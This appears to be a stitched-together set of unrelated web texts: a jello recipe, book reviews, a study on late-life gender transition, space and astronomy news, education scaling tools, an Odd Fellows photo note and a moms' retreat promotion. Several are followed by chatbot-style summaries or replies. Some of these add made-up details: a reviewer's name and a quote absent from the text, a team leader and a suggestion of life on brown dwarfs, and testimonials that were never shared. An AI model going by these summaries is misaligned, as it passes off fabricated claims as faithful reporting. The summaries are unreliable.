Plan on about 4 hours start to finish to have your Rainbow Jello finished. But don't worry. That is not 4 hours of hands-on time.
Preparing each Jello layer will only take a few minutes. Once you pour on each new layer, you'll need to wait about 15-20 minutes for that layer to set up before adding the next.
That means that you can spread out this process over days if you want, adding a layer here and a layer there.
CAN YOU DOUBLE THE RECIPE?
Yes, of course. One jello recipe makes enough for a 9x13 dish. If you want to double the batch, use a 6 oz. box of Jello for each layer. Use 2 9x13 pans or or use this giant panto save time.

fineweb_01943665 | fineweb | Why War Is Never a Good Idea
by Alice Walker, illustrations by Stefano Vitale
HarperCollins, 2007. 32 pages.
Though War has eyes
Of its own
& can see oil
& mahogany trees
& every shining thing
When it comes
It is blind;
Though War is Old
It has not
It will not hesitate
Belong to it
Here is a haunting and poetic, artistic and beautiful book.
The language is simple. The author talks of things that War cannot understand, but that it can destroy.
The artwork is haunting, memorable and symbolic. On one page, the words are: Picture frogs beside a pond holding their annual pre-rainy-season convention. They do not see War. Huge tires of a camouflaged vehicle about to squash them flat. The illustrations show a close-up painting of frogs on the left, with a photo of a rusty wheel on the right side, wadding up pages of peaceful villagers falling underneath it.
The portrayal is not graphic, but symbolic, making it all the more striking.
Don’t read this book to your child if you want to make apologies for War, if you want to explain about necessary evils.
However, if you think you can use some convincing, or want to express an unambiguous idea to a child, this book makes a powerful and persuasive case for why War is never a good idea. The language is simple enough for a child, yet something that will linger in the mind of an adult.

Instead, it is a powerful tool for parents and educators who want to teach children about the devastating consequences of war and the importance of promoting peace and understanding.

fineweb_01943667 | fineweb | Shortly after William Sachtleben and Thomas Allen began their perilous ride across Asia in 1892, another young man set off on his own round-the-world trip. Frank Lenz, a 25-year-old cyclist from Pittsburgh, had landed an assignment from Outing magazine to make the 20,000-mile journey. Quitting his dreary job as a bookkeeper, he embarked on the ride alone, traveling across the U.S. to Japan and from there to China, Burma, India and Persia. He planned a final leg across Europe.
Instead he disappeared, probably near a remote Turkish river, as the world fretted about his fate. After a lengthy delay, the penny-pinching editor of Outing finally took action: hiring William Sachtleben, now safely home but still eager for adventure, to travel to Turkey and figure out what happened. It was a dangerous quest: The roads and defiles were treacherous, Kurdish thugs were roaming the land, and a wave of Armenian massacres was under way. A foreigner on the still-unfamiliar bicycle, loaded with gear, would be a tempting target for thieves.
In his book The Lost Cyclist: The Epic Tale of an American Adventurer and His Mysterious Disappearance, author David V. Herlihy cleverly and compellingly traces all three threads of the Sachtleben-Allen-Lenz story. First, he reviews the Sachtleben-Allen ride and its triumphal ending, interspersing that account with the tale of Lenz and his hopeful start. Then he describes Sachtleben’s dogged pursuit of the truth despite cultural, bureaucratic and linguistic barriers.
Herlihy has been relentless himself, tracking down information about the three cyclists from diaries, newspapers, government records and archives. During his research, he turned up new information, including Sachtleben’s papers at the Museum of Natural History of Los Angeles, which also has his Kodak camera and the Humber bicycle he used to cross Asia (the London Science Museum has Allen’s). UCLA holds some 400 fragile nitrate negatives, which it plans to scan soon, taken by Sachtleben and Allen during their world tour.
The book, which came out in 2010, made the Publisher’s Weekly list of that year’s top 100 titles. A New York Times review called it “grippingly detailed” and noted Herlihy’s ability to write “from inside the heads of the cyclists.” Certainly, no one knows cycling better than Herlihy, who earlier wrote Bicycle: the History, winner of the 2004 Award for Excellence in the History of Science from a division of the Association of American Publishers.
At the center of The Lost Cyclist is Lenz, the only son of a widowed mother who chafed at his stepfather’s mistreatment and longed to be off on his own. His ticket to independence was the high-wheeler, and he was the dashing, slightly reckless, star of the Allegheny Cyclers, the largest of three cycling clubs in the Pittsburgh area at the time, with about 30 members. Blue-eyed, with sandy blond hair, he was “a young man in the prime of life, beaming with joy as he straddles his beloved two-wheeler,” writes Herlihy.
After honing his skills in regional races, Lenz moved in a new direction, long-distance touring, with a thrilling 1,200-mile jaunt from Pittsburgh to New Orleans in the summer of 1891. He also discovered a second great love: photography. Acquiring a bulky wooden box camera and a mount (with a timer that allowed him to capture himself), he was set to become a touring reporter, if only a major magazine would send him on an exotic journey.
In this ambition, he had an idol: Thomas Stevens, who had circumnavigated the globe by bicycle from 1884 to 1887, traveling through 25 countries. After his trip, described in harrowing installments in Outing, Stevens had become a successful author and lecturer. “Lenz simply could not fathom,” wrote Herlihy, “how any pursuit could be more exciting or satisfying than touring the world on a bicycle.”
In the early 1890s, the bicycling landscape was shifting quickly and dramatically. The conventional high-wheeler, with its huge wheel in front and tiny one in back, gave way to the modern safety bike with refinements such as lighter-weight frames and pneumatic tires. Clubs of avid young men were springing up all over the United States, as bicycling became the sport of the middle class, not just wealthy Easterners.
In 1892, Lenz’s dream of a round-the-world assignment came true. Outing editor James H. Worman hired him to travel across the globe on a new Victor safety bike, sending in reports and photos every other month. On May 15, before an adoring crowd, Lenz left Pittsburgh. Three weeks later, Outing gave him an official send-off in New York City, where he began his dash west across the country. Asked whether he was nervous about making it home, Lenz answered stoutly: “I have nothing but the most pleasurable anticipation of my trip abroad. Besides, I have never encountered anything yet that I have not overcome.”
In Japan, he encountered interesting sights, such as ancient pagodas, rice paddies and his first red-light district. The hotels were spare but clean, and the people, for the most part, friendly. But in China, where he narrowly missed meeting the returning Sachtleben and Allen, he encountered bitter poverty, terrible roads and anti-foreign fervor. Mapping a route along the telegraph line so he could find shelter with operators, he began his trek, filled with foreboding.
Soon he had some close calls. One day he confronted a mob of farm workers, driven into a frenzy by the sight of a foreigner on a strange, silver device. Dodging blows, Lenz suddenly had the sense to act the clown, dissolving tension and gaining permission to pass. Often he found shelter and advice from American missionaries who, almost to a man, advised him to abandon his trip.
But he made it through China, and then Burma, India and Persia. As he left Tabriz, determined to cycle through a lawless region of Turkey, he wrote to Worman: “I must confess to a feeling of homesickness. I am very, very tired of being a ‘stranger.’ I long for the day which will see me again on my native hearthstone and my wanderings at an end.”
Sadly, he never made it, and by the time the dilatory Worman sent Sachtleben to trace his fate, the trail had largely gone cold. Still, the determined Sachtleben, who made the hunt a personal quest, did his best against fearful odds. Was he right in pointing the finger at several Kurdish thieves, who finally escaped punishment? Were his Armenian accusers, two of whom died for their testimony, actually telling the truth?
Herlihy lays out the evidence in vivid detail, concluding that “If Sachtleben did indeed get anywhere near the truth of the murky Lenz matter … that was truly an extraordinary accomplishment.” As to the doomed Lenz, Herlihy echoes every reader’s sentiment when he adds: “A brave and resourceful man, full of noble intentions, he … deserved a better fate.”

This article is a review of the book "The Lost Cyclist: The Epic Tale of an American Adventurer and His Mysterious Disappearance" by David V. Herlihy. The book tells the story of Frank Lenz, a 25-year-old cyclist from Pittsburgh who set out on a round-the-world trip in 1892, and his disappearance in Turkey. The reviewer, Candace O'Connor, praises Herlihy's writing, calling it "grippingly detailed" and noting his ability to write "from inside the heads of the cyclists."
The article provides a brief overview of Lenz's life and his decision to embark on a round-the-world trip, as well as the challenges he faced along the way. It also describes the efforts of William Sachtleben, a fellow cyclist, to trace Lenz's fate after his disappearance.
The reviewer notes that Herlihy's book is not only a thrilling adventure story but also a historical account of the early days of cycling and the challenges faced by cyclists in the late 19th century. She praises Herlihy's research, noting that he has uncovered new information and pieced together the story of Lenz's disappearance.
Overall, the reviewer recommends the book to anyone interested in cycling, adventure, or history, calling it "a gripping and well-researched account of a fascinating story." |
fineweb_01943668 | fineweb | As we age, all of us begin to think about what makes us tick and what kind of legacy we want to leave.
For some, this manifests itself in the purchase of a motorcycle, a boat or an exotic vacation.
But for others, the issues of age and transition are a bit more contemplative.
Vanessa Fabbre, PhD, assistant professor at the Brown School at Washington University in St. Louis, considers these issues in her paper “Gender Transitions in Later Life: The Significance of Time in Queer Aging,” recently published in the 2014 print issue of the Journal of Gerontological Social Work.
The paper examines an existential perspective on time with a notion of queer time based on the experiences of older transgender persons who contemplate or pursue a gender transition later in life.
Fabbre conducted a series of interviews with male-to-female identified persons over the age of 50. She also participated in and observed three national transgender conferences.
She found that an awareness of “time left to live” and a feeling of “time served” play a significant role in later life development and help expand gerontological perspectives on time and queer aging.
“Participants in this study are conscious of social expectations for older age, most notably that they are expected to transition into their retirement years as male,” Fabbre writes in the study.
“Often, participants do not reject such expectations altogether; rather, they modify them to fit their developing sense of self. For example, it was common for several people I interviewed to carefully plan their final working years so that they could retire in male mode, while also preparing for their transition to living full time as their female selves after retirement.”
This careful negotiation demonstrates, she writes, how older transgender persons integrate an awareness of time left with the realities of time served and create a uniquely queer path through a common life phase such as retirement.
Below, Fabbre talks about the research:
How is time experienced differently by queer people versus straight people?
“While all people probably think about the realities of time left to live and what that means for their lives, many queer people experience unique constraints to their identity development that create a heightened sense of urgency to experience a sense of authenticity before death. I think all people have an innate drive to realize their full potential, but for those who don’t fit society’s expectations for gender and sexuality, the barriers for doing so are great and this influences their experience of time and decision making in later life.”
Why make this decision so late in life?
“The older adults I interviewed for this study came to realize that the scripts that society gave them to follow weren’t working for them. Faced with a shrinking time horizon and the feeling of having ‘done what they were supposed to do,’ they engaged in a process of renegotiating these normative expectations and in doing so demonstrate the role this plays in identity development and well-being in later life. These life experiences expand the ways we all may find potential for growth and development in later life. They also expand notions of queer temporality by drawing attention to growing older in ways that do not follow heteronormative expectations.”
How can this study inform those in the health care practice?
“As human beings continue to live longer lives, the understanding of the potential for development in later life will be increasingly important for expanding the knowledge base in the field of gerontological social work,” she writes in the study. “By recognizing the possibilities for identity development in later life from multiple perspectives, social workers may discover new possibilities for their profession to more effectively and holistically support the growth and well-being of those with whom they work.” |
As we age, all of us begin to think about what makes us tick and what kind of legacy we want to leave.
For some, this manifests itself in the purchase of a motorcycle, a boat or an exotic vacation.
But for others, the issues of age and transition are a bit more contemplative.
Vanessa Fabbre, PhD, assistant professor at the Brown School at Washington University in St. Louis, considers these issues in her paper “Gender Transitions in Later Life: The Significance of Time in Queer Aging,” recently published in the 2014 print issue of the Journal of Gerontological Social Work.
The paper examines an existential perspective on time with a notion of queer time based on the experiences of older transgender persons who contemplate or pursue a gender transition later in life.
Fabbre conducted a series of interviews with male-to-female identified persons over the age of 50. She also participated in and observed three national transgender conferences.
She found that an awareness of “time left to live” and a feeling of “time served” play a significant role in later life development and help expand gerontological perspectives on time and queer aging.
“Participants in this study are conscious of social expectations for older age, most notably that they are expected to transition into their retirement years as male,” Fabbre writes in the study.
“Often, participants do not reject such expectations altogether; rather, they modify them to fit their developing sense of self. For example, it was common for several people I interviewed to carefully plan their final working years so that they could retire in male mode, while also preparing for their transition to living full time as their female selves after retirement.”
This careful negotiation demonstrates, she writes, how older transgender persons integrate an awareness of time left with the realities of time served and create a uniquely queer path through a common life phase such as retirement.

fineweb_01943671 | fineweb | Election protection history
This page is part of the Election Protection Wiki,
The history of election protection has been driven by (a) a trend toward expanding the franchise to previously excluded groups and (b) reactions to threats to election integrity.
The Constitutional amendments regarding voting show the increase of the franchise to nonwhites (15th Amendment, 1870), women (19th Amendment, 1920), citizens of the District of Columbia (23rd Amendment, 1961), and 18-to-20-year-olds (26th Amendment, 1971), as well as the prohibition of any poll tax (24th Amendment, 1964). Existing federal election legislation barred unequal application of voter registration requirements and provided for federal registration of voters in areas that had less than 50% of eligible minority voters registered.
In the 19th century, the first chief initiative was the secret ballot (already in use in Australia), which was designed to counter attempts to bribe or coerce voters by making it impossible for anyone to determine how a given individual had voted. Ballots, initially selected by the voter from a range provided by rival parties and then inserted into the ballot box, were made uniform for all voters. At the end of the century, voting machines (using levers) were introduced in the belief that mechanization would improve the efficiency of the process and protect against human error. This development would be echoed later, particularly toward the end of the 20th century and beginning of the 21st.
The 2000 presidential elections were evenly divided in terms of the electoral vote, which threw a spotlight on Florida, which would decide the overall outcome, and where the margin of votes was a fraction of a percent of the total. These elections revealed weaknesses at all levels of the U.S. electoral system, including:
- the U.S. Supreme Court, which took on the case that decided the election, despite persistent criticism of having overstepped its jurisdiction
- the U.S. Senate, which refused to investigate the Congressional Black Caucus's complaints of voter suppression
- the private election database vendor ChoicePoint, hired for a fee much higher than that paid to the previous vendor to cast a wide net for felons unable to vote, invalidating many voters whose names simply resembled those of felons from Florida or Texas
- state Secretary of State Katherine Harris, who never instituted the checks meant to discard the bad matches
- local law enforcement, accused of instituting roadblocks and other obstacles to deter voters
- local election administrators, who:
- ordered substandard paper for punch cards
- failed to clean out punch card receptacles as directed, leading to the infamous "hanging chads"
- designed confusing ballots, such as the butterfly ballot of Miami-Dade County, which led to a suspiciously high vote for third-party candidate Pat Buchanan
- U.S. media, who refused to cover findings like those of Greg Palast, whose reports for the BBC indicated serious election irregularities
- machine vendors, such as Global Election Systems (later acquired by Diebold Election Systems), which produced the machine that recorded a negative vote for Al Gore in a precinct in Volusia County
In the aftermath of the election, a large number of books on the subject of election integrity began to be published, a development that has not abated. In addition, in 2002, the Help America Vote Act (HAVA) was passed, largely as a reaction against the punch cards that had drawn much negative attention in the media. However, one outcome of HAVA was a rush to obtain Federal funds to purchase expensive Direct Recording Electronic (DRE) voting machines that provided no permanent record of votes and were vulnerable to electronic manipulation. In the following years, changes were proposed for HAVA, notably by Rep. Rush Holt (D, NJ-12), who sponsored a series of amendments that required, first, a voter-verifiable "paper trail" (printout verifiable by the voter), and later, a voter-verifiable "ballot of record" that was to be the authoritative ballot in the case of a recount or audit. Although Holt's later bill was ultimately cosponsored by a majority of the House members, it never left committee.
The year 2002 was also notable for alleged election irregularities in Georgia, where Diebold voting machine technicians allegedly installed uncertified software immediately before the election, in contravention of state election law.
The presidential election in 2004 was marred by election irregularities, many collected by the Election Incident Reporting System. The focus of attention was Ohio, which assumed the role of election-deciding state that Florida had taken in 2000.

fineweb_01943674 | fineweb | Spiral Blue to Launch Later this Year
Sydney-based start-up Spiral Blue has teamed up with SatRevolution for their upcoming Virgin Orbit launch later this year.
Spiral Blue has partnered with Polish satellite manufacturer SatRevolution for a Virgin Orbit launch later this year. Two SatRevolution satellites, STORK-4 and STORK-5, will host Spiral Blue’s Space Edge Zero (SEZ) computers onboard. SEZ will allow for the on-board processing of satellite data, a technology which would prove very useful to fields such as defence and agriculture. The satellites are set to be launched by Virgin Orbit’s LauncherOne rocket no later than June 2021.
Space Edge Zero
Spiral Blue’s SEZ will improve the lead times, affordability, and flexibility of Earth observation services due to its onboard image processing capabilities. Usually, satellite data must be transmitted to Earth in order to be processed, however SEZ would allow for much of this processing to be performed in space.
This processing would reduce data file size before it is transmitted to Earth, therefore allowing for more data, and therefore higher resolution, to be transmitted. With this upcoming mission, Spiral Blue can perform end-to-end testing and space qualification of this onboard computer.
“We intend to test a variety of algorithms on these images, including machine learning based algorithms such as Vessel Detect and Canopy Mapper,” Spiral Blue’s CEO, Taofiq Huq, said. “This gives us the opportunity to do a full end-to-end test of Space Edge Computing from both a technological and commercial perspective - taking images, processing them, and delivering the processed data.”
The STORK satellites will carry an optical payload that can capture multispectral images at 5 metre resolution. The data from these images will then pass to the onboard SEZ to be processed in real time. The satellites will be launched by Virgin Orbit into a sun-synchronous orbit with an altitude of 400 km-500 km. Following in-orbit qualification, the SEZ will be tested further in 2021 and throughout 2022.
Spiral Blue is a Sydney-based start-up founded in 2018, and is focused on building the next generation Earth observation technology. Spiral Blue was one of the first two recipients of the Moon to Mars Initiative Supply Chain Program. Awarded just over $416,000 earlier this year, Spiral Blue plans to continue to develop their Space Edge technology. The SEZ was planned to be tested last year, on a different SatRevolution satellite. |
That's exciting news! Spiral Blue's partnership with SatRevolution and Virgin Orbit will allow them to test their innovative Space Edge Zero (SEZ) technology, which has the potential to revolutionize Earth observation services. The SEZ's onboard image processing capabilities will enable faster, more affordable, and more flexible data processing, which can have significant benefits in various fields such as defense, agriculture, and more.
The fact that Spiral Blue was one of the first two recipients of the Moon to Mars Initiative Supply Chain Program is a testament to their innovative approach and potential for growth. It's great to see Australian start-ups like Spiral Blue making waves in the space industry.
The upcoming launch by Virgin Orbit is a significant milestone for Spiral Blue, and it will be interesting to see how the SEZ performs in space. The testing and validation of this technology will be crucial in determining its viability and potential for future applications.
Do you think Spiral Blue's SEZ technology has the potential to disrupt the Earth observation industry, and what do you think are the most promising applications for this technology? |
fineweb_01943675 | fineweb | Astronomers find Jupiter-like weather on brown dwarfs
NASA-AMES NEWS RELEASE
Posted: May 26, 2002
For the first time, researchers have observed planet-like weather acting as a major influence on objects outside our solar system.
A team of scientists from NASA and the University of California, Los Angeles (UCLA), has found cloudy, stormy atmospheres on brown dwarfs, celestial bodies that are less massive than stars but that have more mass than giant planets like Jupiter. The discovery will give scientists better tools for interpreting atmospheres and weather on brown dwarfs or on planets around other stars.
"We had been thinking about what storms might do to the appearance of brown dwarfs," Marley said. "And when Adam showed us the new data, we realized there was a pretty good fit." The team calculated that using a model with breaks or holes in the cloudy atmosphere solved the mysterious observations of cooling brown dwarfs.
Brown dwarfs, only recently observed members of the skies, are "failed stars at best," said Ackerman. Not massive enough to sustain the burning of hydrogen like stars, brown dwarfs go through cooling stages that scientists observe with infrared energy-detecting telescopes. They appear as a faint glow, like an ember from a fire that gives off both heat and light energy as it dims.
Astronomers expected brown dwarfs, like most objects in the universe, to grow steadily fainter as they cool. However, new observations showed that during a relatively short phase brown dwarfs appear to get brighter as they cool. The explanation lies in the clouds.
At least 25,000 times fainter than the sun, brown dwarfs are still incredibly hot, with temperatures as high as 2,000 degrees Kelvin (3,140 F). At such high temperatures, things like iron and sand occur as gases. As brown dwarfs cool, these gases condense in the atmosphere into liquid droplets to form clouds, similar to water clouds on Earth. As the brown dwarf cools further, there is a rapid clearing of the clouds caused by atmospheric weather patterns. As the clouds are whisked away by the storms, bright infrared light from the hotter atmosphere beneath the clouds escapes, accounting for the unusual brightening of the brown dwarfs.
"The model developed by the group for the first time matches the characteristics of a very broad range of brown dwarfs, but only if cloud clearing is considered," said Burgasser. "While many groups have hinted that cloud structures and weather phenomena should be present, we believe we have actually shown that weather is present and can be quite dramatic."
By using Earth's weather as a starting point, Ackerman helped the team work storms-that include wind, downdrafts and iron rain-into their calculations. "The astrophysicists needed some help understanding rain because it's not an important process in most stars," Ackerman said. "We used observations and simulations of terrestrial clouds to estimate the effect of iron rain on the thickness of an iron cloud."
The team's study, to be published in the June 1 issue of Astrophysical Journal Letters, will help researchers determine the make-up of atmospheres outside our solar system. "Brown dwarfs have traditionally been studied like stars, but it's more of a continuum," Marley said. "If you line a mug shot of Jupiter up with these guys, it is just a very low-mass brown dwarf." Brown dwarfs are a training ground for scientists to learn how to interpret observations of planet-like objects around other stars, he said. "Everybody wants to find brown dwarfs that are even colder and have water clouds just like Earth. Once we find those, that will be a good test of our understanding."
NASA, the National Science Foundation and the Hubble Postdoctoral Fellowship funded this study and supplied much of the data. Other collaborating institutions include Vanderbilt University, Nashville, Tenn.; Washington University, St. Louis; U.S. Naval Observatory, Washington, D.C.; and California Institute of Technology, Pasadena, Calif.

This NASA news release from 2002 announces the discovery of Jupiter-like weather patterns on brown dwarfs, which are celestial bodies that are less massive than stars but more massive than giant planets like Jupiter. The research team, led by Dr. Mark Marley, used observations and simulations to model the atmospheres of brown dwarfs and found that they exhibit cloudy, stormy weather patterns similar to those on Jupiter.
The team's findings were published in the Astrophysical Journal Letters and suggest that the cloudy atmospheres on brown dwarfs are caused by the condensation of gases as they cool. The clouds are then cleared by strong winds and downdrafts, which allows the infrared light from the hotter atmosphere beneath the clouds to escape, making the brown dwarfs appear brighter.
This discovery is significant because it provides new insights into the atmospheres and weather patterns of brown dwarfs, which are important objects of study in the field of exoplanetary science. The research also has implications for the search for life beyond Earth, as it suggests that the atmospheres of brown dwarfs may be capable of supporting complex weather patterns and potentially even life.
The news release also mentions that the team's study will help researchers determine the make-up of atmospheres outside our solar system and will provide a better understanding of the properties of brown dwarfs. The research was funded by NASA, the National Science Foundation, and the Hubble Postdoctoral Fellowship. |

How can these efforts be effectively, equitably, and sustainably scaled to ensure more children are learning?
In response to these questions, the Millions Learning project at the Center for Universal Education (CUE) launched a series of Real-time Scaling Labs (RTSLs) with local institutions in several countries to generate more evidence and practical guidance for policymakers, practitioners, and funders on how to scale evidence-based education initiatives.
To provide concrete guidance based on key scaling principles and respond to gaps identified through the RTSLs, CUE has developed the following scaling-related tools1 in collaboration with lab partners and other colleagues. Based on empirical research, these resources are designed to foster an iterative, reflective, and data-driven scaling process, with each tool supporting different phases of the scaling journey.
See also this infographic for an overview of the Millions Learning scaling tools and how they work together.
Scaling Strategy Worksheet: Planning for scale
The Scaling Strategy Worksheet helps implementers, policymakers, and funders articulate a clear, measurable, and timebound scaling goal and high-level strategy.
- How to use: This worksheet is intended to support organizations or institutions planning for or in the process of scaling an education initiative. Developing and refining a scaling strategy is an ongoing process that is best done collaboratively and tailored to local context.
- When to use: This dynamic planning resource should be used throughout a scaling process, revisited and updated periodically based on new insights, data, and changes in the environment. While it is never too late to use the tool, the earlier the better to start planning for scale.
Institutionalization Tracker: Assessing the integration of an education initiative into a system
The Institutionalization Tracker helps implementers, policymakers, and funders measure the progress of integrating an initiative into an education system and identify areas that require additional attention for further integration.
- How to use: This tool is designed to track progress toward institutionalization. It is organized by education system building blocks, each of which is broken down into specific elements. For each element, there is a set of criteria to consider when assigning a score ranging from “low institutionalization” to “high institutionalization,” and a column for providing an explanation for the score selected.
- When to use: The tool should be used when the vision for scaling includes government adoption or mainstreaming of an initiative into a formal education system. It should ideally be used at regular intervals (approximately every six months) to assess progress and determine actions to strengthen and advance institutionalization efforts.
Adaptation Tracker: Learning from changes throughout a scaling process
The Adaptation Tracker supports implementers, policymakers, and funders to plan for, document, reflect on, and learn from adaptations made to the model and/or the scaling approach during implementation.
- How to use: This tracker should be used in conjunction with a broader scaling strategy to:
- Identify key challenges or opportunities as they arise during the scaling process and develop a plan to test adaptations in response.
- Implement those adaptations and collect related data.
- Document spontaneous or unplanned changes taking place.
- Reflect on the results and make decisions accordingly.
- When to use: This tool can be used to document and learn from adaptations throughout a scaling process.
Real-time Scaling Lab Guidelines: Implementing a participatory, adaptive learning approach to scaling
The Real-time Scaling Lab Guidelines help implementers, policymakers, and funders adapt and implement an RTSL process—a participatory, action research approach to collaboratively document, learn from, and support ongoing scaling efforts.
- How to use: An RTSL combines ongoing documentation and analysis of the scaling journey with a series of in-person and virtual convenings and workshops that bring together a diverse group of key stakeholders to collectively plan for sustainable scale; discuss and reflect on data, key challenges, and opportunities faced as they arise; and develop and test adaptations and course corrections to scaling strategies through an iterative learning process. The lab offers concrete opportunities for peer learning and exchange, while also generating knowledge on the “how” of scaling impact.
- When to use: An RTSL can support and learn from a scaling process in multiple ways and at various points in time, including:
- When beginning to plan for scale, launching a scaling process, or entering a new phase of scaling.
- When looking to expand and deepen the impact of an effective initiative and create sustainable change within a system, rather than implement a multiyear project and then move on.
- When looking to learn more about the scaling process, build capacity for scaling and systems change, and document the “how” of the scaling process—not just the end results.
- When the scaling process for an initiative involves multiple stakeholders from diverse sectors, each of whom may have different scaling-related goals or incentives.
Infographic: Millions Learning scaling tools overview
This infographic depicts the four scaling tools at a glance and how they complement one another. |
The Millions Learning project at the Center for Universal Education (CUE) has developed a series of Real-time Scaling Labs (RTSLs) to generate more evidence and practical guidance for policymakers, practitioners, and funders on how to scale evidence-based education initiatives. To support this effort, CUE has created four scaling-related tools to help implementers, policymakers, and funders plan for, document, and learn from the scaling process.
The four tools are:
1. **Scaling Strategy Worksheet**: A planning tool to help organizations or institutions articulate a clear, measurable, and timebound scaling goal and high-level strategy.
2. **Institutionalization Tracker**: A tool to measure the progress of integrating an initiative into an education system and identify areas that require additional attention for further integration.
3. **Adaptation Tracker**: A tool to plan for, document, reflect on, and learn from adaptations made to the model and/or the scaling approach during implementation.
4. **Real-time Scaling Lab Guidelines**: A participatory, action research approach to collaboratively document, learn from, and support ongoing scaling efforts.
These tools are designed to be used at different stages of the scaling process, from planning to implementation and evaluation. They are intended to support an iterative, reflective, and data-driven scaling process, with each tool building on the others to foster a deeper understanding of the scaling process and its challenges.

fineweb_01943679 | fineweb | Independent Order of Odd Fellows Officers
Boston photographer Thomas Burnham captured this image of a group of fifteen Odd Fellows posed against a plain background. All of the men in the photograph wear regalia—a mix of aprons, sashes, collars, and jewels. Several of the men in the portrait have jewels pinned to their collars and sashes. These emblems showed what office they held and include a badge made of crossed gavels (Warden), another formed from crossed pens (Secretary), one in the shape of crossed keys (Treasurer), and an emblem shaped from crossed swords (Guardian). Regulations published by the Odd Fellows noted that officers were required to wear jewels during the “transaction of business.”
For more on this object please visit the online collection record here. |
This photograph is a fascinating glimpse into the inner workings of the Independent Order of Odd Fellows, a fraternal organization that was popular in the United States during the 19th and early 20th centuries. The image shows a group of 15 Odd Fellows officers, each wearing distinctive regalia that reflects their position within the organization.
The regalia worn by the officers includes aprons, sashes, collars, and jewels. The jewels, in particular, are an interesting aspect of the photograph. They are emblems that indicate the office held by each officer, and they are an important part of the Odd Fellows' tradition of symbolism.
The regulations published by the Odd Fellows note that officers were required to wear jewels during the "transaction of business," which suggests that the regalia was an important part of the organization's formal proceedings. The jewels themselves are also symbolic, representing the values and principles of the Odd Fellows, such as charity, friendship, and truth.
The photograph is also notable for its formal composition and the sense of camaraderie among the officers. The men are posed in a formal line, with their regalia and jewels on full display. The image conveys a sense of respect and dignity, and it suggests that the Odd Fellows were a serious and important organization.
Overall, this photograph is a valuable artifact that provides insight into the history and culture of the Independent Order of Odd Fellows. It is a testament to the organization's enduring legacy and its importance in the lives of its members. |
fineweb_01943680 | fineweb | Rather than stand by and watch women suffer In silence, Lyss Stern is giving moms what they really need this Mother’s Day! They don’t want another bracelet or flowers! What they really want and NEED is a BREAK! The remedy (RX) they need Camp Moms Time Out.
2020…the year from hell. Every mom on the planet was ready to throw in the towel. Amidst the tears and tirades of quarantine emerged a brilliant idea: take a summer sleepaway camp struggling to stay afloat thanks to the pandemic and give fellow females a place to bond and blow off steam. The Moms Time Out Getaway was born in Sept. 2020 and has its latest weekend escape set for May 20-22. The campers (more than 50 women from assorted walks of life and menopausal stages) will let loose, explore their passions and possibilities, unplug and find themselves—with both funny and surprising results.
The brainchild of Lyss Stern, 48, and Wendy Siegel, 53, the camp is situated at Camp Tyler Hill, a 220-acre campus two hours from New York City in the Poconos. Siegel and her husband Andy own the camp which hosts children throughout the summer months. The mom’s weekend, however, is entirely family-free. “It’s moms, just moms, getting three solid days off for good behavior,” Stern explains. “Mothers’ mental health is in crisis—we’re all on the verge of nervous breakdowns. This is what happens when frazzled, fed-up women are let loose in the wild for a long weekend.”
The goal is to provide mothers a chance to kick back and just be—sans kids, spouses, work, and life obligations. The adventure is eye-opening: new friends, new experiences, and new attitudes emerge in a setting that allows these women to meditate, vent, and of course, party. “We sit around a campfire at night roasting smores,” Stern explains. “There are energy healing sessions, yoga, wine, and tie-dying classes. I’m constantly amazed at how cathartic it is, and how much women need this. Last camp, a group of us was literally howling at the moon, channeling our inner she-wolves!”
Aside from the fun and games, the camp takes its mission very seriously. The media has continued to sound the alarm that moms are not okay; The New York Times even created an online series, “The Primal Scream,” for women to vent their fears and frustrations. The statistics are sobering: a recent study in The Journal of Women’s Health found that women had “alarmingly high rates” of depression and anxiety post-pandemic (cite: https://apcoworldwide.com/blog/covid-19s-unending-impact-on-the-maternal-mental-health-crisis/) A new national survey reveals that four in ten women are reaching their breaking point with regard to mental health and 72 percent say they “just need to take a break”.
“How many times do we need to hear it to do something?” Stern asks. “The sad reality is that moms are so busy caring for everyone else, they neglect themselves. We are expected to be caregivers and nurturers, but it’s taking a toll on our mental and physical health.”
Stern believes that the camp not only provides that much-needed time-out but sets moms on a new track. “When they leave, they’re not the same people who checked into their bunks on Friday. They’re empowered and recharged, and they feel heard and validated. The idea is to give women the tools to continue down this path. One weekend of peace can change their lives and literally save them.”
The startling results of a new national survey revealed that 4 in 10 women report that they have or are reaching their breaking point with regard to their mental health. Numbers are more shocking for the women diagnosed with depression and anxiety, with two-thirds agreeing with this statement.
The survey also found that when feeling overwhelmed, 72% of women say they “just need to take a break.” Other findings include:
— 51% of women diagnosed with anxiety and/or depression waited at least one year before seeking treatment – or never sought treatment at all.
— 60% of women agree that taking a prescription medication was the most helpful step in treating their symptoms, more than any other treatment option, including therapy.
— While 44% of women say they talk to friends or family as a way to relieve stress and anxiety, 6 in 10 say they have been ignored or dismissed by loved ones about their mental health concerns.
Despite available treatment options, women are collectively doubtful that they will find relief. Fewer than two in 10 women believe they will be completely free from anxiety or depression symptoms. |
What a wonderful initiative! Lyss Stern's Camp Moms Time Out is a much-needed respite for mothers who are often expected to put everyone else's needs before their own. The camp's focus on self-care, empowerment, and community-building is a powerful way to support mothers' mental health and well-being.
The statistics you mentioned are indeed alarming, and it's clear that many women are struggling to cope with the demands of motherhood. The fact that 4 in 10 women are reaching their breaking point with regard to mental health is a stark reminder of the need for more support and resources.
I love that the camp offers a range of activities, from meditation and yoga to tie-dye and wine, to help women relax and have fun. The emphasis on creating a safe and judgment-free space for women to express themselves and connect with others is also crucial.
It's also heartening to see that the camp is having a positive impact on the women who attend. The testimonials you shared are a testament to the power of this initiative, and I'm sure that many more women will benefit from this experience.
As you mentioned, the camp is not just a one-time event, but a catalyst for change. By providing women with the tools and support they need to prioritize their own well-being, Camp Moms Time Out is helping to create a ripple effect of positivity that can spread far beyond the camp itself.
I hope that this initiative will continue to grow and inspire other women to prioritize their own mental health and well-being. Thank you for sharing this inspiring story! |

fineweb_01943682 | fineweb | “Sleep is time travel for the depressed.”
The words rolled out of his mouth. So care-free, uncensored. And although it was a complete mood-wrecker for an already long and bleak day, it was easier for me to accept his statement at the time without much thought. I was walking around in Sacramento with two other friends, and we were caught up in our busy schedules during our senior year of high school at a youth and government conference, hurrying from one never-ending meeting to another. So we were exhausted to say the least.
